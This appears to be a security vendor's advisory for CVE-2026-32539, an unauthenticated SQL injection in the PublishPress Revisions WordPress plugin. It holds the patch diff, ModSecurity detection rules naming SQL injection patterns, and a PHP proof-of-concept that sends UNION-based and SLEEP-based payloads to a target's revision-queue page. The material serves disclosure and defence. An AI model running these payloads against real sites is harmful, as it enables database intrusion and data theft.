-						<a href="<?php echo self::UPGRADE_PRO_URL; ?>" target="_blank" class="pp-upgrade-btn">
+						<a href="<?php echo esc_url(self::UPGRADE_PRO_URL); ?>" target="_blank" class="pp-upgrade-btn">
 							<?php esc_html_e('Upgrade to Pro', 'revisionary'); ?>
 						</a>
 					</div>
@@ -2084,7 +2087,7 @@
 		</script>

 		</div></td></tr></table>
-	<?php /*endif;*/ // any options accessable in this section
+	<?php
 	?>
 </div>

@@ -2246,34 +2249,33 @@
 	$icon_class = 'pp-integration-icon ' . $integration['icon_class'];
 	$categories_string = implode(',', $integration['categories']);

-	// Determine category tag
-	$category_tag = '';
-	if (in_array('builder', $integration['categories'])) {
-		$category_tag = '<div class="pp-category-tag pp-tag-builder">' . esc_html__('Builder', 'revisionary') . '</div>';
-	}  elseif (in_array('admin', $integration['categories'])) {
-		$category_tag = '<span class="pp-category-tag pp-tag-admin">' . esc_html__('Admin', 'revisionary') . '</span>';
-	} elseif (in_array('cache', $integration['categories'])) {
-		$category_tag = '<div class="pp-category-tag pp-tag-cache">' . esc_html__('Cache', 'revisionary') . '</div>';
-	} elseif (in_array('seo', $integration['categories'])) {
-		$category_tag = '<div class="pp-category-tag pp-tag-seo">' . esc_html__('SEO', 'revisionary') . '</div>';
-	} elseif (in_array('ecommerce', $integration['categories'])) {
-		$category_tag = '<div class="pp-category-tag pp-tag-ecommerce">' . esc_html__('Commerce', 'revisionary') . '</div>';
-	} elseif (in_array('fields', $integration['categories'])) {
-		$category_tag = '<div class="pp-category-tag pp-tag-fields">' . esc_html__('Fields', 'revisionary') . '</div>';
-	} elseif (in_array('multilingual', $integration['categories'])) {
-		$category_tag = '<div class="pp-category-tag pp-tag-multilingual">' . esc_html__('Multilang', 'revisionary') . '</div>';
-	} elseif (in_array('community', $integration['categories'])) {
-		$category_tag = '<div class="pp-category-tag pp-tag-community">' . esc_html__('Community', 'revisionary') . '</div>';
-	} elseif (in_array('workflow', $integration['categories'])) {
-		$category_tag = '<span class="pp-category-tag pp-tag-workflow">' . esc_html__('Workflow', 'revisionary') . '</span>';
-	}
 	?>
 	<div class="<?php echo esc_attr($card_class); ?>" data-categories="<?php echo esc_attr($categories_string); ?>">
 		<div class="pp-integration-icon-wrap">
 			<div class="pp-integration-icon <?php echo esc_attr($integration['icon_class']); ?>">
 			</div>

-			<?php echo $category_tag; ?>
+			<?php
+			if (in_array('builder', $integration['categories'])) {
+				echo '<div class="pp-category-tag pp-tag-builder">' . esc_html__('Builder', 'revisionary') . '</div>';
+			}  elseif (in_array('admin', $integration['categories'])) {
+				echo '<span class="pp-category-tag pp-tag-admin">' . esc_html__('Admin', 'revisionary') . '</span>';
+			} elseif (in_array('cache', $integration['categories'])) {
+				echo '<div class="pp-category-tag pp-tag-cache">' . esc_html__('Cache', 'revisionary') . '</div>';
+			} elseif (in_array('seo', $integration['categories'])) {
+				echo '<div class="pp-category-tag pp-tag-seo">' . esc_html__('SEO', 'revisionary') . '</div>';
+			} elseif (in_array('ecommerce', $integration['categories'])) {
+				echo '<div class="pp-category-tag pp-tag-ecommerce">' . esc_html__('Commerce', 'revisionary') . '</div>';
+			} elseif (in_array('fields', $integration['categories'])) {
+				echo '<div class="pp-category-tag pp-tag-fields">' . esc_html__('Fields', 'revisionary') . '</div>';
+			} elseif (in_array('multilingual', $integration['categories'])) {
+				echo '<div class="pp-category-tag pp-tag-multilingual">' . esc_html__('Multilang', 'revisionary') . '</div>';
+			} elseif (in_array('community', $integration['categories'])) {
+				echo '<div class="pp-category-tag pp-tag-community">' . esc_html__('Community', 'revisionary') . '</div>';
+			} elseif (in_array('workflow', $integration['categories'])) {
+				echo '<span class="pp-category-tag pp-tag-workflow">' . esc_html__('Workflow', 'revisionary') . '</span>';
+			}
+			?>
 		</div>

 		<div class="pp-integration-content">
@@ -2380,8 +2382,6 @@
 	$int = array_merge(
 		wp_filter_object_list($this->defined_integrations, ['available' => true, 'free' => false]),
 		wp_filter_object_list($this->defined_integrations, ['available' => false, 'free' => false])
-		//wp_filter_object_list($this->defined_integrations, ['available' => true, 'free' => true]),
-		//wp_filter_object_list($this->defined_integrations, ['available' => false, 'free' => true])
 	);

 	// Render each fallback integration
--- a/revisionary/admin/post-edit_rvy.php
+++ b/revisionary/admin/post-edit_rvy.php
@@ -39,7 +39,7 @@
                     }

                     ?>
-                    rvyDeleteURL[<?php echo $revision->ID;?>] = '<?php echo esc_url(wp_nonce_url(admin_url("admin.php?page=rvy-revisions&action=delete&revision={$revision->ID}"), 'delete-revision_' . $revision->ID ));?>';
+                    rvyDeleteURL[<?php echo esc_attr($revision->ID);?>] = '<?php echo esc_url(wp_nonce_url(admin_url("admin.php?page=rvy-revisions&action=delete&revision={$revision->ID}"), 'delete-revision_' . $revision->ID ));?>';
                     <?php
                 }
             ?>
@@ -173,7 +173,7 @@
         global $revisionary;

         if (
-        !empty($_REQUEST['rvy_new'])
+        !empty($_REQUEST['rvy_new'])                                                        // phpcs:ignore WordPress.Security.NonceVerification.Recommended
         || (rvy_in_revision_workflow($post) && empty($revisionary->enabled_post_types[$post->post_type]))
         || (!rvy_in_revision_workflow($post) && empty($revisionary->enabled_post_types_archive[$post->post_type]))
         ) {
@@ -204,7 +204,7 @@
             return;
         }

-        if (!empty($_REQUEST['rvy_new']) || !rvy_in_revision_workflow($post->ID)) {
+        if (!empty($_REQUEST['rvy_new']) || !rvy_in_revision_workflow($post->ID)) {         // phpcs:ignore WordPress.Security.NonceVerification.Recommended
             return;
         }

--- a/revisionary/admin/post-editor-workflow-ui_rvy.php
+++ b/revisionary/admin/post-editor-workflow-ui_rvy.php
@@ -134,7 +134,7 @@
             $vars['approveCaption'] = '';
         }

-        $vars['approvingCaption'] = __('Approving the Revision...', 'revisionary');
+        $vars['approvingCaption'] = __('Update in progress...', 'revisionary');

         if ($block_editor) {
             if ($can_publish) {
--- a/revisionary/admin/revision-action_rvy.php
+++ b/revisionary/admin/revision-action_rvy.php
@@ -630,8 +630,11 @@
 		$type_obj = get_post_type_object($post->post_type);

 		if ( empty( $_REQUEST['rvy_redirect'] ) && ! $scheduled && is_post_type_viewable($type_obj) ) {
-			$redirect = $published_url;
-
+			$redirect = (rvy_get_option('show_current_revision_bar'))
+			? add_query_arg('mark_current_revision', 1, $published_url)
+			: $published_url;
+
+			$redirect = add_query_arg('rvy_approval', 1, $redirect);
 		} elseif ( !empty($_REQUEST['rvy_redirect']) && 'edit' == esc_url_raw($_REQUEST['rvy_redirect']) ) {
 			$redirect = add_query_arg( $last_arg, "post.php?post=$revision_id&action=edit" );

@@ -758,9 +761,15 @@

 	$original_revision_status = $revision->post_mime_type;

-	if (!$published_id = $revision->comment_count) {
-		if (! $published_id = rvy_post_id($revision_id)) {
-			return false;
+	if (!defined('REVISIONARY_APPLY_REVISION_COMMENT_COUNT')) {
+		$published_id = get_post_meta( $revision_id, '_rvy_base_post_id', true );
+	}
+
+	if (empty($published_id)) {
+		if (!$published_id = $revision->comment_count) {
+			if (! $published_id = rvy_post_id($revision_id)) {
+				return false;
+			}
 		}
 	}

--- a/revisionary/admin/revision-queue_rvy.php
+++ b/revisionary/admin/revision-queue_rvy.php
@@ -23,25 +23,27 @@

 set_current_screen( 'revisionary-q' );

-if (!empty($_REQUEST['post_type2'])) {
-	$_REQUEST['post_type'] = $_REQUEST['post_type2'];
+if (!empty($_REQUEST['post_type2'])) {										// phpcs:ignore WordPress.Security.NonceVerification.Recommended
+	$_REQUEST['post_type'] = sanitize_key($_REQUEST['post_type2']);			// phpcs:ignore WordPress.Security.NonceVerification.Recommended
 }

-if (!empty($_REQUEST['post_status2'])) {
-	$_REQUEST['post_status'] = $_REQUEST['post_status2'];
+if (!empty($_REQUEST['post_status2'])) {									// phpcs:ignore WordPress.Security.NonceVerification.Recommended
+	$_REQUEST['post_status'] = sanitize_key($_REQUEST['post_status2']);		// phpcs:ignore WordPress.Security.NonceVerification.Recommended
 }

-if (!empty($_REQUEST['post_type'])) {
+$_post_type = !empty($_REQUEST['post_type']) ? sanitize_key($_REQUEST['post_type']) : '';	// phpcs:ignore WordPress.Security.NonceVerification.Recommended
+
+if ($_post_type) {
 	add_action('admin_print_footer_scripts',
 		function() {
 			?>
 			<script type="text/javascript">
 				/* <![CDATA[ */
 				jQuery(document).ready( function($) {
-					$('a.next-page').prop('href', $('a.next-page').attr('href') + '&post_type=<?php echo sanitize_key($_REQUEST['post_type']);?>');
-					$('a.last-page').prop('href', $('a.last-page').attr('href') + '&post_type=<?php echo sanitize_key($_REQUEST['post_type']);?>');
-					$('a.prev-page').prop('href', $('a.prev-page').attr('href') + '&post_type=<?php echo sanitize_key($_REQUEST['post_type']);?>');
-					$('a.first-page').prop('href', $('a.first-page').attr('href') + '&post_type=<?php echo sanitize_key($_REQUEST['post_type']);?>');
+					$('a.next-page').prop('href', $('a.next-page').attr('href') + '&post_type=<?php echo sanitize_key($_post_type);   // phpcs:ignore WordPress.Security.NonceVerification.Recommended?>');
+					$('a.last-page').prop('href', $('a.last-page').attr('href') + '&post_type=<?php echo sanitize_key($_post_type);   // phpcs:ignore WordPress.Security.NonceVerification.Recommended?>');
+					$('a.prev-page').prop('href', $('a.prev-page').attr('href') + '&post_type=<?php echo sanitize_key($_post_type);   // phpcs:ignore WordPress.Security.NonceVerification.Recommended?>');
+					$('a.first-page').prop('href', $('a.first-page').attr('href') + '&post_type=<?php echo sanitize_key($_post_type); // phpcs:ignore WordPress.Security.NonceVerification.Recommended?>');
 				});
 				/* ]]> */
 			</script>
--- a/revisionary/admin/revisions.php
+++ b/revisionary/admin/revisions.php
@@ -118,7 +118,7 @@
 		// actual status of compared objects overrides any revision_Status arg passed in
 		$revision_status = $revision->post_mime_type;

-		if (!current_user_can( 'approve_revision', $revision->ID ) /*&& !rvy_is_post_author($revision)*/ ) {
+		if (!current_user_can( 'approve_revision', $revision->ID )) {
 			wp_die();
 		}
 	}
--- a/revisionary/classes/PublishPress/Revisionary.php
+++ b/revisionary/classes/PublishPress/Revisionary.php
@@ -278,6 +278,7 @@
                 'learn_more_url' => 'https://publishpress.com/knowledge-base/revisions-yoast-seo/'
             ],

+            // phpcs:ignore Squiz.PHP.CommentedOutCode.Found
             /*
             [
                 'id' => 'litespeed_compatibility',
--- a/revisionary/compat_rvy.php
+++ b/revisionary/compat_rvy.php
@@ -151,7 +151,7 @@
         if (rvy_in_revision_workflow($post) && ($current_user->ID == $post->post_author)
         && (!current_user_can('approve_revision', $post->ID) || (rvy_get_option('revisor_lock_others_revisions') && !current_user_can('edit_others_revisions')))
         ) {
-            unset($_POST['authors']);
+            unset($_POST['authors']);                               // phpcs:ignore WordPress.Security.NonceVerification.Missing
             $_POST['fallback_author_user'] = $current_user->ID;
         }

--- a/revisionary/defaults_rvy.php
+++ b/revisionary/defaults_rvy.php
@@ -58,6 +58,7 @@
 		'copy_revision_comments_to_post' => true,
 		'past_revisions_order_by' => true,
 		'list_unsubmitted_revisions' => true,
+		'show_current_revision_bar' => true,
 		'rev_publication_delete_ed_comments' => true,
 		'deletion_queue' => true,
 		'revision_archive_deletion' => true,
@@ -135,6 +136,7 @@
 		'copy_revision_comments_to_post' => 0,
 		'past_revisions_order_by' => '',
 		'list_unsubmitted_revisions' => 0,
+		'show_current_revision_bar' => 0,
 		'rev_publication_delete_ed_comments' => 0,
 		'deletion_queue' => 0,
 		'revision_archive_deletion' => 0,
--- a/revisionary/front_rvy.php
+++ b/revisionary/front_rvy.php
@@ -49,13 +49,13 @@
 	function fltHomePreviewRequest($clauses, $_wp_query = false, $args = []) {
 		global $wpdb, $wp_query;

-		$preview_page_id = (!empty($_REQUEST['page__id'])) ? $_REQUEST['page__id'] : 0;
+		$preview_page_id = (!empty($_REQUEST['page__id'])) ? intval($_REQUEST['page__id']) : 0;				// phpcs:ignore WordPress.Security.NonceVerification.Recommended

 		if (!$preview_page_id || empty($wp_query) || empty($wp_query->query_vars) || empty($wp_query->query_vars['p'])) {
 			return $clauses;
 		}

-		$front_page_id = $wp_query->query_vars['p'];
+		$front_page_id = intval($wp_query->query_vars['p']);

 		if (rvy_post_id($preview_page_id) == $front_page_id) {
 			$clauses['where'] = str_replace("$wpdb->posts.ID = $front_page_id", "$wpdb->posts.ID = $preview_page_id", $clauses['where']);
@@ -535,7 +535,7 @@
 				$edit_url = apply_filters('revisionary_preview_edit_url', rvy_admin_url("post.php?action=edit&post=$revision_id"), $revision_id);
 				$edit_button = "<a href='$edit_url' class='rvy-preview-link rvy_has_empty_spacing'>" . esc_html__('Edit', 'revisionary') . '</a>';

-				if (empty($_REQUEST['mark_current_revision'])) {
+				if (empty($_REQUEST['mark_current_revision'])) {											// phpcs:ignore WordPress.Security.NonceVerification.Recommended
 					$edit_button .= ' <span class="rvy-preview-link">•</span> ';
 				}
 			} else {
@@ -702,10 +702,14 @@
 							$edit_button = '';
 						}

+						$message = (!empty($_REQUEST['rvy_approval']))												// phpcs:ignore WordPress.Security.NonceVerification.Recommended
+						? __('The revision was approved and is now live on the site. %s', 'revisionary')
+						: __('This is the Current Revision. %s', 'revisionary');
+
 						if (!empty($_REQUEST['elementor-preview'])) {												//phpcs:ignore WordPress.Security.NonceVerification.Recommended
-							$message = sprintf( esc_html__('This is the Current Revision. %s', 'revisionary'), '' );
+							$message = sprintf( $message, '' );
 						} else {
-							$message = sprintf( esc_html__('This is the Current Revision. %s', 'revisionary'), $edit_button );
+							$message = sprintf( $message, $edit_button );
 						}

 					} elseif ('inherit' == $post->post_status) {
--- a/revisionary/revisionary.php
+++ b/revisionary/revisionary.php
@@ -5,7 +5,7 @@
  * Description: Maintain published content with teamwork and precision using the Revisions model to submit, approve and schedule changes.
  * Author: PublishPress
  * Author URI: https://publishpress.com
- * Version: 3.7.23
+ * Version: 3.7.24
  * Text Domain: revisionary
  * Domain Path: /languages/
  * Min WP Version: 5.5
@@ -39,7 +39,7 @@
 // Temporary usage within this module only; avoids multiple instances of version string
 global $pp_revisions_version;

-$pp_revisions_version = '3.7.23';
+$pp_revisions_version = '3.7.24';

 global $wp_version;

--- a/revisionary/revisionary_main.php
+++ b/revisionary/revisionary_main.php
@@ -145,7 +145,7 @@
 							('exclude' == $args['mod'])
 							&& rvy_get_option('apply_post_exceptions')
 							&& (
-								(($pagenow == 'admin.php') && isset($_REQUEST['page']) && in_array($_REQUEST['page'], ['revisionary-q', 'revisionary-archive']))
+								(($pagenow == 'admin.php') && isset($_REQUEST['page']) && in_array($_REQUEST['page'], ['revisionary-q', 'revisionary-archive']))	// //phpcs:ignore WordPress.Security.NonceVerification.Recommended
 								|| (in_array($pagenow, ['post.php', 'post-new.php']) && rvy_in_revision_workflow(rvy_detect_post_id()))
 							)
 						) {
@@ -178,7 +178,7 @@
 						if (
 							rvy_get_option('apply_post_exceptions')
 							&& (
-								(($pagenow == 'admin.php') && isset($_REQUEST['page']) && in_array($_REQUEST['page'], ['revisionary-q', 'revisionary-archive']))
+								(($pagenow == 'admin.php') && isset($_REQUEST['page']) && in_array($_REQUEST['page'], ['revisionary-q', 'revisionary-archive']))	// //phpcs:ignore WordPress.Security.NonceVerification.Recommended
 								|| (in_array($pagenow, ['post.php', 'post-new.php']) && rvy_in_revision_workflow(rvy_detect_post_id()))
 							)
 						) {
@@ -971,6 +971,7 @@
 			if (function_exists('presspermit') && !rvy_get_option('submit_permission_enables_creation')) {
 				$pp_exceptions = presspermit()->getUser()->except;

+				// phpcs:ignore WordPressVIPMinimum.Performance.WPQueryParams.PostNotIn_exclude
 				presspermit()->getUser()->except['revise_post'] = ['post' => ['' => ['include' => [], 'exclude' => [], 'additional' => ['page' => []]]]];

 				$can_copy = current_user_can('edit_post', $post_id);
--- a/revisionary/rvy_init.php
+++ b/revisionary/rvy_init.php
@@ -10,7 +10,7 @@
 	'rank_math/excluded_post_types',
 	function ($types) {
 		if (function_exists('rvy_detect_post_id')) {
-			if (!empty($_POST) || rvy_get_option('revision_edit_disable_rank_math')) {
+			if (!empty($_POST) || rvy_get_option('revision_edit_disable_rank_math')) {			// phpcs:ignore WordPress.Security.NonceVerification.Missing
 				$post_id = rvy_detect_post_id();

 				if (function_exists('rvy_in_revision_workflow') && rvy_in_revision_workflow($post_id)) {
--- a/revisionary/uninstall.php
+++ b/revisionary/uninstall.php
@@ -54,8 +54,8 @@
             if ($revision_ids = $wpdb->get_col("SELECT ID FROM $wpdb->posts WHERE post_mime_type IN ('draft-revision', 'pending-revision', 'future-revision', 'revision-deferred', 'revision-needs-work', 'revision-rejected')")) {
                 $id_csv = implode("','", array_map('intval', $revision_ids));

-                $wpdb->query("DELETE FROM $wpdb->posts WHERE ID IN ('$id_csv') AND post_mime_type IN ('draft-revision', 'pending-revision', 'future-revision', 'revision-deferred', 'revision-needs-work', 'revision-rejected')");
-                $wpdb->query("DELETE FROM $wpdb->postmeta WHERE post_id IN ('$id_csv')");
+                $wpdb->query("DELETE FROM $wpdb->posts WHERE ID IN ('$id_csv') AND post_mime_type IN ('draft-revision', 'pending-revision', 'future-revision', 'revision-deferred', 'revision-needs-work', 'revision-rejected')");   // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+                $wpdb->query("DELETE FROM $wpdb->postmeta WHERE post_id IN ('$id_csv')");       // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared

                 wp_cache_flush();
             }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-32539
# Virtual patch for unauthenticated SQL injection in PublishPress Revisions plugin
# Targets the vulnerable 'published_post' parameter in revision queue listings

SecRule REQUEST_URI "@rx ^/wp-admin/(admin.php|admin-ajax.php)" 
  "id:100032539,phase:2,deny,status:403,chain,msg:'CVE-2026-32539 SQL Injection via PublishPress Revisions plugin',severity:'CRITICAL',tag:'CVE-2026-32539',tag:'WordPress',tag:'Plugin/PublishPress-Revisions',tag:'attack-sql-injection'"
  SecRule ARGS_GET:page "@streq revisionary-q" "chain"
    SecRule ARGS_GET:published_post "@rx (?i)(?:union[s(]+.*select|select[s(]+.*from|(?:sleep|benchmark)(|pg_sleep(|waitfor[s]+delay|execs*(|sp_executesql|information_schema|@@version|load_files*(|into[s]+(?:out|dump)file)" 
      "setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}',setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}'"

# Additional rule for POST requests to admin-ajax.php
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:100032540,phase:2,deny,status:403,chain,msg:'CVE-2026-32539 SQL Injection via PublishPress Revisions AJAX',severity:'CRITICAL',tag:'CVE-2026-32539',tag:'WordPress',tag:'Plugin/PublishPress-Revisions',tag:'attack-sql-injection'"
  SecRule ARGS_POST:action "@rx ^(?:rvy|revisionary)_" "chain"
    SecRule ARGS_POST:published_post "@rx (?i)(?:union[s(]+.*select|select[s(]+.*from|(?:sleep|benchmark)(|pg_sleep(|waitfor[s]+delay|execs*(|sp_executesql|information_schema|@@version|load_files*(|into[s]+(?:out|dump)file)" 
      "setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}',setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}'"

# Rule to block suspicious numeric patterns that could be SQL injection attempts
SecRule REQUEST_URI "@rx ^/wp-admin/(admin.php|admin-ajax.php)" 
  "id:100032541,phase:2,deny,status:403,chain,msg:'CVE-2026-32539 Suspicious parameter pattern in PublishPress Revisions',severity:'WARNING',tag:'CVE-2026-32539',tag:'WordPress',tag:'Plugin/PublishPress-Revisions'"
  SecRule ARGS_GET:page "@streq revisionary-q" "chain"
    SecRule ARGS_GET:published_post "@rx ^[0-9]+[s)]*[;'"](?:--|#|/*)" 
      "setvar:'tx.anomaly_score_pl1=+%{tx.warning_anomaly_score}'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32539 - PublishPress Revisions: Duplicate Posts, Submit, Approve and Schedule Content Changes <= 3.7.23 - Unauthenticated SQL Injection

<?php
/**
 * Proof of Concept for CVE-2026-32539
 * Unauthenticated SQL Injection in PublishPress Revisions WordPress Plugin
 * 
 * WARNING: For authorized security testing only. Do not use against systems you don't own.
 */

$target_url = "http://target-wordpress-site.com"; // CHANGE THIS

// SQL Injection payload to extract database version
$payload = "1 UNION ALL SELECT 1,2,3,4,5,6,7,8,@@version,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- -";

// Construct the vulnerable endpoint
$endpoint = $target_url . "/wp-admin/admin.php";

// Parameters to trigger the vulnerable code path
$params = [
    'page' => 'revisionary-q',
    'published_post' => $payload,
    'post_status' => 'pending-revision',
    'post_type' => 'post'
];

// Build query string
$query_string = http_build_query($params);
$full_url = $endpoint . '?' . $query_string;

echo "[+] Testing target: $target_urln";
echo "[+] Sending payload to: $full_urlnn";

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);

// Set headers to mimic legitimate browser request
$headers = [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language: en-US,en;q=0.5',
    'Accept-Encoding: gzip, deflate',
    'Connection: close'
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if (curl_errno($ch)) {
    echo "[-] cURL Error: " . curl_error($ch) . "n";
    curl_close($ch);
    exit(1);
}

curl_close($ch);

echo "[+] HTTP Response Code: $http_coden";

// Check for SQL injection indicators
if ($http_code == 200) {
    // Look for database version in response (MySQL version pattern)
    if (preg_match('/[0-9]+.[0-9]+.[0-9]+(-[A-Za-z0-9]+)?/', $response, $matches)) {
        echo "[+] SUCCESS: SQL Injection confirmed!n";
        echo "[+] Extracted database version: " . $matches[0] . "n";
        
        // Also check for UNION query evidence
        if (strpos($response, 'column') !== false || strpos($response, 'select') !== false) {
            echo "[+] UNION-based injection successfuln";
        }
    } else {
        echo "[-] No obvious SQL injection indicators found in responsen";
        echo "[-] Response length: " . strlen($response) . " bytesn";
        
        // Check for error messages that might indicate blind SQL injection
        if (strpos($response, 'SQL') !== false || strpos($response, 'syntax') !== false) {
            echo "[!] Possible SQL error messages detected - blind injection may be possiblen";
        }
    }
} else {
    echo "[-] Unexpected HTTP status code. The endpoint may be protected or unavailable.n";
}

// Additional test for blind SQL injection using time-based payload
if ($http_code == 200) {
    echo "n[+] Testing for blind SQL injection...n";
    
    $time_payload = "1 AND SLEEP(5)-- -";
    $params['published_post'] = $time_payload;
    $query_string = http_build_query($params);
    $full_url = $endpoint . '?' . $query_string;
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $full_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    
    $start_time = microtime(true);
    $response = curl_exec($ch);
    $end_time = microtime(true);
    curl_close($ch);
    
    $response_time = $end_time - $start_time;
    
    if ($response_time > 4.5) {
        echo "[+] Blind SQL injection confirmed (time-based). Response time: " . round($response_time, 2) . " secondsn";
    } else {
        echo "[-] Time-based blind injection not confirmed. Response time: " . round($response_time, 2) . " secondsn";
    }
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School